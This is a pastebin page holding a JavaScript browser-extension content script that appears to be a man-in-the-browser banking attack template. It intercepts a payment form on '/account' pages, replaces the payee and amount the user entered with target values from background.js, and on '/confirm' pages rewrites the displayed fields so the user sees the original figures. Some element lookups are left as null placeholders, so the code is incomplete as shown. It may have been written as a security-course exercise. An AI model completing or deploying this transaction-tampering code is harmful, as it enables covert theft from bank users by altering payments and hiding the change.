Untitled

 avatar
unknown
plain_text
10 months ago
2.3 kB
2
Indexable
let url = window.location.href;
let targetPayee = null;
let targetAmount = null;
let originalAmount = null;
let originalPayee = null;

// Handle message responses from background.js
browser.runtime.onMessage.addListener(function(request) {
    if(request.variable == 'payee') {
        targetPayee = request.data;
    } else if(request.variable == 'amount') {
        targetAmount = request.data;
    } else if(request.variable == 'originalPayee') {
        originalPayee = request.data;
    } else if(request.variable == 'originalAmount') {
        originalAmount = request.data;
    }
});

// Retrieve the target information from background.js
browser.runtime.sendMessage({action: 'getPayee'});
browser.runtime.sendMessage({action: 'getAmount'});

if(url.search('/account') > -1) {
    // Account page manipulation
    let form = document.getElementById('paymentForm');

    form.addEventListener('submit', function(e) {
        // Intercept form submission and modify the user-entered values
        e.preventDefault();

        // --- Get the elements containing the transaction information (amount and payee account number) ---
        let payee = null;
        let amount = null;

        // Store the user's original values
        browser.runtime.sendMessage({action: 'setOriginalPayee', data: payee.value});
        browser.runtime.sendMessage({action: 'setOriginalAmount', data: amount.value});

        // --- Change payment form values to modify the transaction ---
        payee.value = null;
        amount.value = null;

        e.target.submit();
    });
} else if(url.search('/confirm') > -1) {
    // Retrieve the user's original values from background.js
    browser.runtime.sendMessage({action: 'getOriginalPayee'});
    browser.runtime.sendMessage({action: 'getOriginalAmount'});

    // --- Get the span elements that contain the transaction information that is displayed to the user to verify the transaction. ---
    let payeeElement = null;
    let amountElement = null;

    // Update the page content to hide the modified values from the user
    setTimeout(function() {
        payeeElement.innerHTML = originalPayee;
        amountElement.innerHTML = originalAmount;
    }, 100);
}
Editor is loading...
Leave a Comment